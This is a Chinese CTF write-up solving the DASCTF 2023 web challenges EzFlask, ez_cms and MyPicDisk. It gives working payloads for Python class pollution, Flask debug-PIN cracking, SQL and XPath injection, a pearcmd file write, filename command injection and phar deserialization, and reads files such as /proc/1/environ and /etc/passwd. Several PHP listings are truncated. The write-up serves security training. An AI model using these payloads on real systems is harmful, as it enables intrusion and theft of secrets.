DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp

EzFlask

源码直接给了

Ctrl+U查看带缩进的源码

python 复制代码
import uuid

from flask import Flask, request, session
# 导入黑名单列表
from secret import black_list
import json

app = Flask(__name__)
# 为 Flask 应用设置一个随机的 secret_key
app.secret_key = str(uuid.uuid4())

# 检查字符串中是否包含黑名单中的敏感字符
def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

# 合并两个字典或对象
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

# 定义 user 类,用于存储用户信息
class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass

    # 验证用户信息是否匹配
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

# 存储用户对象的列表
Users = []

# 注册用户的路由处理函数
@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            # 检查请求数据是否合法
            if not check(request.data):
                return "Register Failed"
            # 将请求数据解析为 JSON 对象,所以我们发包要用json格式
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()   # 创建 user 对象
            merge(data, User)   # 合并数据到 user 对象
            Users.append(User)   # 将 user 对象添加到用户列表中
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

# 登录的路由处理函数
@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)   # 将请求数据解析为 JSON 对象
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):   # 验证用户信息是否匹配
                    session["username"] = data["username"]   # 将用户名存储在会话中
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

# 主页的路由处理函数,用于返回当前文件的源代码
@app.route('/',methods=['GET'])
def index():
    #__file__:全局变量,返回当前目录
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)   # 在指定的主机和端口上运行 Flask 应用

登录的账号密码是json格式的POST请求。

审计题目源码,发现他最后会回显当前目录文件的内容(就是源码),我们可以修改全局变量__file__,从而造成任意文件读取。

解法一:

题中源码有merge()函数,我们考虑python原型链污染。

参考:Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)

NodeJs原型链污染中,对象的__proto__属性,指向这个对象所在的类的prototype属性。如果我们修改了son.__proto__中的值,就可以修改父类。

在Python中,所有以双下划线__包起来的方法,统称为Magic Method(魔术方法),它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。

python 复制代码
class A:
    pass

print(dir(A))  # 可以得到类所有公有成员

__class__方法用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 (题中可以不加)

__init__()方法是一种特殊的方法,被称为类的构造函数或初始化方法(类似PHP中的__construct()),当创建了这个类的实例时就会调用该方法。

__globals__对 保存函数全局变量的字典 的引用------定义函数的模块的全局命名空间。只读,但是可以修改无继承关系的类属性甚至全局变量

__file__全局变量,返回当前文件路径(目录)

python 复制代码
#globals辨析
secret_var = 114

def test():
    pass

class a:
    def __init__(self):
        pass

print(test.__globals__ == globals() == a.__init__.__globals__)
#True

题目过滤了__init__(构造函数)。

json识别unicode,我们可以用unicode绕过\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F

也可以使用类中方法check代替类中构造方法__init__

常见的linux系统下环境变量的路径:

/proc/1/environ (本题flag就在这里)

/etc/profile

/etc/profile.d/*.sh

~/.bash_profile

~/.bashrc

/etc/bashrc

注:放在proc目录(3,4)下的环境变量配置文件,只会对当前用户起作用;在/etc下的环境变量所有的用户都起作用;

最后payload: (直接读取环境变量)

json 复制代码
{
	"username":"aaa",
	"password":"bbb",
	"__class__":{
        "check":{
            "__globals__":{
                "__file__" : "/proc/1/environ"
            }
        }
	}
}

Boogipop师傅的payload:

json 复制代码
{
    "username":1,
	"password":1,
    "__init\u005f_":{
        "__globals__":{
            "app":{
                "_static_folder":"/"
            }
        }
    }
}

看不懂,尝试了一下确实可行,又学到了。

在 Python 中,全局变量 app_static_folder 通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。

  1. app 全局变量:

    • app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
    • Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
    • app 对象包含了大量的功能和方法,例如 routerunadd_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
    • 通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
  2. _static_folder 全局变量:

    • _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
    • 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
    • 在 Flask 中,可以通过 app.static_folder 属性来访问 _static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
    • Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。

综上所述,app_static_folder 这两个全局变量在 Flask 应用中都扮演着重要的角色,app 是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder 是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。

/static/proc/1/environ:由于"_static_folder":"/"把静态目录直接设置为了根目录,所以根目录下/proc/1/environ可以通过访问静态目录/static/proc/1/environ访问。

解法二:

boogipop师傅的博客说:题目是开启了flask的debug模式,访问console控制台,配合刚刚的任意文件读取算pin进行rce就行了。

访问/console路由

PIN码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

pin码生成要六要素:

1.username

通过getpass.getuser()读取或者通过文件读取/etc/passwd

2.modname

通过getattr(mod,"file",None)读取,默认值为flask.app

3.appname

通过getattr(app,"name",type(app).name)读取,默认值为Flask

4.moddir

flask库下app.py的绝对路径、当前网络的mac地址的十进制数,通过getattr(mod,"file",None)读取实际应用中通过报错读取,如传参的时候给个不存在的变量

5.uuidnode

mac地址的十进制,通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

6.machine_id

机器码,每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取。一般生成pin码不对就是这错了

python3.6采用MD5加密,3.8采用sha1加密。脚本们如下:

python 复制代码
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)
python 复制代码
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

那就开始用 解法一 读取PIN值六要素


username:root


modname:默认值为flask.app


appname:默认值为Flask


moddir:/usr/local/lib/python3.10/site-packages/flask/app.py


uuidnode:4e:35:a1:94:9e:da

十进制是85992251104986


machine_id:96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope

其中,以docker为界限。

96cec10d3d9307792745ec3b85c89620

/proc/sys/kernel/random/boot_id里面

docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope

/proc/self/cgroup里面

解题脚本来源:2023DASCTF&0X401 WriteUp (qq.com)

python 复制代码
import hashlib
from itertools import chain

# 可能的公共部分,包括用户名、模块名、类名以及相关模块路径信息
probably_public_bits = [
    'root',                # username
    'flask.app',           # modname
    'Flask',               # appname
    '/usr/local/lib/python3.10/site-packages/flask/app.py'   # moddir
]

# 私有部分,包括一些唯一的标识信息
private_bits = [
    '85992251104986',       # uuidnode
    '96cec10d3d9307792745ec3b85c89620docker-f631baf753180826471e91bf575eecadcfd9788e873f07b98fe6f7a4a95f42c3.scope'  # machine_id
]

# 创建 SHA-1 哈希对象
h = hashlib.sha1()

# 将可能的公共部分和私有部分的信息串联在一起,并计算 SHA-1 哈希值
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)

# 更新哈希值,使用 b'cookiesalt' 作为额外的盐值
h.update(b'cookiesalt')

# 构造 cookie 名称 '__wzd' + SHA-1 哈希值的前20位
cookie_name = '__wzd' + h.hexdigest()[:20]

num = None

# 如果 num 为空,则计算 num 值
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None

# 如果 rv 为空,则根据 num 的长度进行格式化处理,组成带分隔符的字符串
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

# 打印结果
print(rv)

运行结果:960-245-355

成功进入控制台

获取flag

(3条消息) 关于ctf中flask算pin总结_丨Arcueid丨的博客-CSDN博客

(3条消息) Flask debug模式算pin码_flask pin码_Ys3ter的博客-CSDN博客

扩展练习:

CTFSHOW 801

GYCTF2020\]FlaskApp HSCSEC-2TH EZFLASK # ez_cms CMS是Content Management System的缩写,意为"内容管理系统"。 熊海CMS,版本1.0 ![image-20230722104001445](https://file.jishuzhan.net/article/1689914222768558082/d8d1943197494fc3a3d125ce54d7ab9f.png) [(4条消息) 熊海(isea cms)代码审计漏洞总结_熊海靶场_Alexz__的博客-CSDN博客](https://blog.csdn.net/Alexz__/article/details/116301518) [(4条消息) 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞_十三年\*的博客-CSDN博客](https://blog.csdn.net/qq_28624871/article/details/114745946) **熊海cms公开漏洞** **一、后台越权登录admin用户** 在cookie中直接添加user : admin字段,即可登录admin用户 ![image-20230722104438468](https://file.jishuzhan.net/article/1689914222768558082/c215a0e0fcf14b09aa074bd4c8b77d56.png) 也可以弱口令登录。 账号:admin 密码:123456 **二、/admin后台登录中SQL注入** `/admin/?r=login` 【操作系统是Linux】 1' and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e))-- 【爆库】 #information_schema,ctf,mysql,performance_scheme,sys 1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+ 【爆ctf库的表】 #adword,content,download,imageset,interaction,link,manage,nav,navclass,seniorset,settings 1' and updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctf'),0x7e),n,m),3) --+ 【爆列/字段】 #~id,navclass,title,toutiao,autho 1' and extractvalue(1,substring(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='content')),1,50))--+ #id,ad1,ad2,ad3,date 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='adword')))--+ #id,title,keywords,description,i 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='download')))--+ # 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='imagese')))--+ **三、文件包含漏洞** `/?r=../../test/phpinfo` 题目中复现不了,任意文件包含应该有过滤什么的。 ![image-20230722122048154](https://file.jishuzhan.net/article/1689914222768558082/da06eaa38e814d0a9289a6df63d0d7c0.png) **四、存储型XSS** 题目中可以复现,但是和SQL一样,无用 **五、管理员界面CSRF删除文章** 题目中可以复现,但是和SQL一样,无用 **六、文件上传** 管理员界面==》发布内容 有两个文件上传点。 ![image-20230725232408715](https://file.jishuzhan.net/article/1689914222768558082/0084c8b8ab66472bbfdf9e94602343fd.png) 左边那个上传点,会显示 上传失败!文件移动发生错误! ![image-20230725232452757](https://file.jishuzhan.net/article/1689914222768558082/f8d49041aa234fbda3d007cb99cb021d.png) 右边那个上传点,会显示目录创建失败。 ![image-20230725232541802](https://file.jishuzhan.net/article/1689914222768558082/fa7635814aa84dd3b48007b811f9105a.png) 文件上传从而注入一句话木马行不通。 **七、任意文件下载** 管理员界面= =》内容管理= =》下载列表= =》铅笔形状按钮。 ![image-20230725232634726](https://file.jishuzhan.net/article/1689914222768558082/1ed5958fa64944c6bcafa863f168796d.png) 我们可以修改下载的路径。 ![image-20230725232751513](https://file.jishuzhan.net/article/1689914222768558082/dbef86e340464944a75cd53b61a7fa1b.png) 保存好后,点击绿色钩子按钮,点击电信或者联通下载即可下载对应文件。 ![image-20230725232833515](https://file.jishuzhan.net/article/1689914222768558082/706f6d906cf245d9a5d3e71ce6dc0db3.png) 经过测试发现,我们可以下载`/etc/passwd`,但是无法下载环境变量所在的文件如`/proc/1/environ`,有权限限制。 **由六七两个文件方面的漏洞,推测出题人修改了部分文件/文件夹的权限,咱们无法使用网络上现成的攻击方法,需要另辟蹊径。** **本题解题方法:** 尝试第七点------任意文件下载,下载`index.php`。 ![image-20230725233119199](https://file.jishuzhan.net/article/1689914222768558082/c7aceedecb434d5aa0a934b22a80bf40.png) ```php ``` 第四行`addslashes()`函数做了过滤,因此无法使用伪协议。 第六行`include('files/'.$action.'.php');`说明包含的时候拼接了`.php` *** ** * ** *** 我们选择使用\*\*`pear文件包含`\*\* **参考:** > [pear文件利用 (远程文件下载、生成配置文件、写配置文件) 从一道题看------CTFshow私教 web40_Jay 17的博客-CSDN博客](https://blog.csdn.net/Jayjay___/article/details/131929137?spm=1001.2014.3001.5501) > > https://blog.csdn.net/Mrs_H/article/details/122386511 > > https://y4tacker.github.io/2022/06/19/year/2022/6/关于pearcmd利用总结/#闲话 > > https://blog.csdn.net/Mrs_H/article/details/122386511 > > https://blog.csdn.net/weixin_49656607/article/details/124005355 > > https://www.cnblogs.com/iwantflag/p/15602747.html pear是PHP的一个扩展 PEAR扩展 全称:PHP Extension and Application Repository PEAR扩展**默认**安装位置是: /usr/local/lib/php/ argv是数组,argc是数字。可通过var_dump($_SERVER);语句查看 argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素是aaa和bbb,argc是数组的长度。`&`符号无发分割参数,真正能分割参数的是`+`,等号无法赋值,而是会直接被传进去当作参数。 php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。 **条件:** 1 有文件包含点 2 开启了pear扩展 (可以当他是一个框架) 3 配置文件中register_argc_argv 设置为On,而默认为Off($_SERVER['argv']生效) 4 找到pear文件的位置,默认位置是/usr/local/lib/php/pearcmd.php pearcmd.php可以接受`config-create`命令,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。 *** ** * ** *** 这题pear文件的路径与默认不一样,也算个坑。以下是别的师傅对于路径的寻找过程。 ![image-20230726104856058](https://file.jishuzhan.net/article/1689914222768558082/c796a8928f3b4965a08b89d1a3460cf0.png) 网上现成的payload: ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/test.php ![image-20230726002622558](https://file.jishuzhan.net/article/1689914222768558082/9cc21ccc8f9c4f35a992eac4a16cae17.png) 这里被包含的参数`file`需要换成`r`。路径得换一下,换成`/usr/share/php/pearcmd.php`。代码在`r`传入的数据后,自动加了一个`.php`,那我们路径就设置为`/usr/share/php/pearcmd`就行了。以及`test.php`在原文是提前准备好的,这里的`Jay17.php`原先是不存在的,得出这里的文件如果不存在,是可以新建的。 payload: ?+config-create+/&r=../../../../../../../../usr/share/php/pearcmd&/+/tmp/Jay17.php 之后,传入payload ![image-20230726105809609](https://file.jishuzhan.net/article/1689914222768558082/05940ff518eb487fadee7acdc738ed36.png) 访问根目录下`/tmp/Jay17.php`,不要忘了r参数自动加一个`.php`。 ![image-20230726110003663](https://file.jishuzhan.net/article/1689914222768558082/9a1cf3eafb954865812aef3d99e4a2f6.png) RCE获取flag。 ![image-20230726110055127](https://file.jishuzhan.net/article/1689914222768558082/e2432bdcbc8e4c56be9f05bc75e3622a.png) # MyPicDisk 开题是一个登录框 ![image-20230804152909230](https://file.jishuzhan.net/article/1689914222768558082/90acf0e9a0284b5092bfd089e5954396.png) **步骤一:登录** **方法一:我们可以用万能密码登录** 抓包改包,payload如下: username=admin' or 1=1#&password=123456&submit=%E7%99%BB%E5%BD%95 ![image-20230804153411639](https://file.jishuzhan.net/article/1689914222768558082/be3f60b9a9e14697a6777e0c3ad67039.png) *** ** * ** *** **方法二:XXE盲注 注出admin的密码** 这里贴一个boogipop师傅的盲注脚本: ```python import requests import time url ='http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/index.php' strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' flag ='' for i in range(1,100): for j in strs: #猜测根节点名称 #accounts # payload_1 = {"username":"'or substring(name(/*[1]), {}, 1)='{}' or ''='3123".format(i,j),"password":123} # payload_username ="'or substring(name(/*[1]), {}, 1)='{}' or ''='3123".format(i,j) #猜测子节点名称 #user # payload_2 = "'or substring(name(/root/*[1]), {}, 1)='{}' or ''='3123{}".format(i,j,token[0]) # payload_username ="'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='3123".format(i,j) #猜测accounts的节点 # payload_3 ="'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='3123{}".format(i,j,token[0]) #猜测user节点 # payload_4 ="'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='3123{}".format(i,j,token[0]) #跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1 # payload_username ="'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、 # payload_username ="'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j) payload_username ="'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j) data={ "username":payload_username, "password":123, "submit":"1" } print(payload_username) r = requests.post(url=url,data=data) time.sleep(0.1) # print(r.text) if "登录成功" in r.text: flag+=j print(flag) break if "登录失败" in r.text: break print(flag) ``` ![image-20230804160524861](https://file.jishuzhan.net/article/1689914222768558082/403e6a462ecf4752988908dfdb0a64b1.png) 跑出用户名是`admin`,密码是`003d7628772d6b57fec5f30ccbc82be1`。 密码看特征是MD5加密过的,在线网站解密一下。 CMD5,emmmm,楽。 ![image-20230804160158503](https://file.jishuzhan.net/article/1689914222768558082/149b0c381c994593b180254b45f4ab32.png) 还得是somd5 ![image-20230804160304815](https://file.jishuzhan.net/article/1689914222768558082/235d644498aa412cbf90508db7148f16.png) 账号:`admin` 密码:`15035371139` ![image-20230804160452777](https://file.jishuzhan.net/article/1689914222768558082/75a0add1ed8444d291c69c749c2054b8.png) 这个应该是预期解。其他两种方法,登录成功登录账户不是admin,会alert返回`you are not admin!!!!!`。 *** ** * ** *** **方法三:** 网上一个看不懂的payload: username=admin'&password=admin'&submit=%E7%99%BB%E5%BD%95 ![image-20230804153316521](https://file.jishuzhan.net/article/1689914222768558082/3c0fdc05797345378a5b570f8d0819b7.png) 暂时没想到原理。 *** ** * ** *** 登录成功后,在源码中看见提示,是`y0u_cant_find_1t.zip`文件。 **步骤二:获取源码** 访问`/y0u_cant_find_1t.zip`路由,下载源码,源码如下: ```php filename = $filename; $this->size = filesize($filename); $this->lasttime = filemtime($filename); } public function remove(){ unlink($this->filename); } public function show() { echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."
"; } public function __destruct(){ system("ls -all ".$this->filename); } } ?> MyPicDisk username:

password:

'; $xml = simplexml_load_file('/tmp/secret.xml'); if($_POST['submit']){ $username=$_POST['username']; $password=md5($_POST['password']); $x_query="/accounts/user[username='{$username}' and password='{$password}']"; $result = $xml->xpath($x_query); if(count($result)==0){ echo '登录失败'; }else{ $_SESSION['user'] = $username; echo ""; } } } else{ if ($_SESSION['user'] !== 'admin') { echo ""; unset($_SESSION['user']); echo ""; } echo ""; if (!$_GET['file']) { foreach (scandir(".") as $filename) { if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { echo "" . $filename . "
"; } } echo '
选择图片:
'; if ($_FILES['file']) { $filename = $_FILES['file']['name']; if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { die("hacker!"); } if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) { echo ""; } else { die('failed'); } } } else{ $filename = $_GET['file']; if ($_GET['todo'] === "md5"){ echo md5_file($filename); } else { $file = new FILE($filename); if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") { echo "
"; echo "remove
"; echo "show
"; } else if ($_GET['todo'] === "remove") { $file->remove(); echo ""; } else if ($_GET['todo'] === "show") { $file->show(); } } } } ?> ``` **步骤三:分析源码,解决session问题** **注:如果选择XXE盲注出账号密码登录,步骤三不用看。** 尝试了一下,登录之后是用session来判断是否登录成功的。比如我用正确的账号密码登录,此时session改成`jay17`。 ![image-20230804170004301](https://file.jishuzhan.net/article/1689914222768558082/16001a53390e4057b73e08f3f0c60cf9.png) 我浏览器里面session改为`jay17`,就可以直接绕过登录,直接跳转到上传文件界面。 ![image-20230804170150137](https://file.jishuzhan.net/article/1689914222768558082/03be7651943f4118881e14e9d3231fcd.png) 猜测后台是在用户登录成功后,储存用户session,下次登陆时比较用户session来判断用户是否登录成功过。 *** ** * ** *** 上文提到,除XXE盲注外其他两种方法,登录成功登录账户不是admin,会alert返回`you are not admin!!!!!`。 同时,由代码片段`66~78行`: ```php else{ if ($_SESSION['user'] !== 'admin') { echo ""; unset($_SESSION['user']); echo ""; } echo ""; if (!$_GET['file']) { foreach (scandir(".") as $filename) { if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) { echo "" . $filename . "
"; } } ``` 可以看出,如果登录的用户名不是`admin`,会自动删除session(语句`unset($_SESSION['user']);`),但是删完之后还会继续运行(`72行echo之后`),只不过下一次运行时,由于没有session,不会进入这个else(`66行`),导致下一次无法操作。 所以这里存在一个**代码逻辑漏洞**,使得我们非预期登录(不是XXE盲注),也能做题,也能利用漏洞得到flag。 我们只需,在==**每次** ==操作之前(比如上传一个文件),burp发一个包,使我们session不为空,能执行else代码块(`66行`)就行。操作之后,由于执行了else代码块(`66行`),session又被删除了,所以下一次操作前又得发包,生成session。 burp包如下: POST / HTTP/1.1 Host: 6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81 Content-Length: 64 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=xxx Connection: close username=admin' or 1=1 -- +&password=1&submit=%E7%99%BB%E5%BD%95 ![image-20230804172913431](https://file.jishuzhan.net/article/1689914222768558082/078501909a064f64b7ff4ad4477dcbb8.png) 但是这里发包也有要求,发完之后回显的要是`alert('登录成功!');`。此时就是执行了if代码段(`44~65行`),生成了session。 ![image-20230804173058487](https://file.jishuzhan.net/article/1689914222768558082/10d9d4e5b105410398ba12bfc2bb2741.png) 但是这样一次一次生成session太麻烦了,建议,就算是非预期得到了源码,分析完源码得知有XXE盲注的可能之后,回去XXE盲注拿admin的密码重新登录。 **步骤四:分析源码,进行RCE** 源码没有`libxml_disable_entity_loader(false);`语句,禁止外部实体载入。不能通过XXE来RCE。另寻他法。 *** ** * ** *** **方法一:字符串拼接执行命令。** 重点看代码段`30~32行` ```php public function __destruct(){ system("ls -all ".$this->filename); } ``` FILE类的析构方法会把命令和文件名拼接在一起然后执行。 当然源码对文件名也有所过滤。`8~22行`构造方法,要求文件名不能包含斜杠` /`。点号`.`只能出现一次(substr_count()函数作用是计算字符在字符串中出现的次数)。 `73~78行`要求文件名中必须包含`.(jpg|jpeg|gif|png|bmp)`,相当于白名单,只允许这四个后缀。 那么我们使文件名如下,就即绕过了过滤限制,又能执行命令了。 ;`echo 命令的base64编码| base64 -d`;.jpg payload: 先通过登录后的文件上传功能 或者 自己写表单上传图片。一定要上传图片,要不然下一步时,实例化的时候构造方法(`__construct()`)获取不了图片大小和最后修改时间(`20、21行`),导致报错而不执行析构方法(`__destruct()`)。从而无法RCE。 然后通过`?file=图片名`访问图片,传入`?file=图片名`后会根据图片名实例化FILE类,执行里面的析构方法。 ?file=;`echo Y2F0IC9hZGoq | base64 -d`;.jpg ![image-20230804190950268](https://file.jishuzhan.net/article/1689914222768558082/eb7154388e444e3199872e176162c64b.png) *** ** * ** *** **方法二:phar反序列化** 可利用代码段(`99行`) ```php echo md5_file($filename); ``` ![image-20230804202506983](https://file.jishuzhan.net/article/1689914222768558082/2aebce861b1f4afb90d3d39af1eb1b29.png) 一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar。 ![image-20230804201804847](https://file.jishuzhan.net/article/1689914222768558082/76610c3207344cb4838c993a6dc51a06.png) 所以,这个`md5_file`函数可以解析phar文件。 同时,我们访问phar文件时,是通过GET方法提交`?file=什么什么`,源代码没有对`?file`进行过滤,我们可以使用使用phar协议`phar://`。 此外,对于上传文件后缀的限制,phar://的伪协议,可以将**任意后缀名** 的压缩包(原来是 .phar 或 .zip,注意:PHP \> =5.3.0 压缩包需要是zip协议压缩,rar不行 ) 解包,从而可以通过上传压缩包绕过对后缀名的限制,再利用伪协议实现文件包含。那我们可以上传我们生成的phar文件,通过burp抓包使文件后缀名变为`.jpg` 总结一下,天时地利人和,我们可以使用phar反序列化来RCE。 > 注:前文提到过:实例化的时候构造方法(`__construct()`)获取不了图片大小和最后修改时间(`20、21行`),导致报错而不执行析构方法(`__destruct()`)。从而无法RCE。phar包里面的文件不存在,自然也没有大小,为什么不报错不影响析构方法(`__destruct()`)执行呢。因为这里phar包传进去根本不触发构造方法(`__construct()`),传进去是序列化字符串,构造方法在本地构造时触发过了。 > > 同理,phar包里面的文件名$filename(RCE的命令),因为不触发构造方法(`__construct()`),所以也不用绕过过滤了。 构造phar包脚本: ```php filename = $filename; } } $a = new FILE(";tac /adj*"); //源码不查phar里面的内容 $phar=new phar('xxx.phar'); $phar->startBuffering(); //往metaData里面放实例对象,使用phar协议读取phar包时,如果当前脚本识别了这个类(有这个类),会自动调用这个类的魔术方法 $phar->setMetadata($a); //设置stub,固定写法 $phar->setStub(""); //添加要压缩的文件,这个文件没有也没关系,走个流程 $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ``` ![image-20230804213500657](https://file.jishuzhan.net/article/1689914222768558082/2446d759987e43298af8d0571d8acd24.png) 将生成的phar包上传并且修改后缀。 ![image-20230805160002848](https://file.jishuzhan.net/article/1689914222768558082/877e787bd0c247a0ba00551f9337f70e.png) 这里需要手动访问,用`phar`伪协议。`todo=md5`是为了调用`md5_file()`函数,函数用来解析`phar`。 ?file=phar://xxx.jpg&todo=md5 ![image-20230805193420751](https://file.jishuzhan.net/article/1689914222768558082/83a5a51f7c1a4a41b452fbbe69484224.png) **踩坑点:** 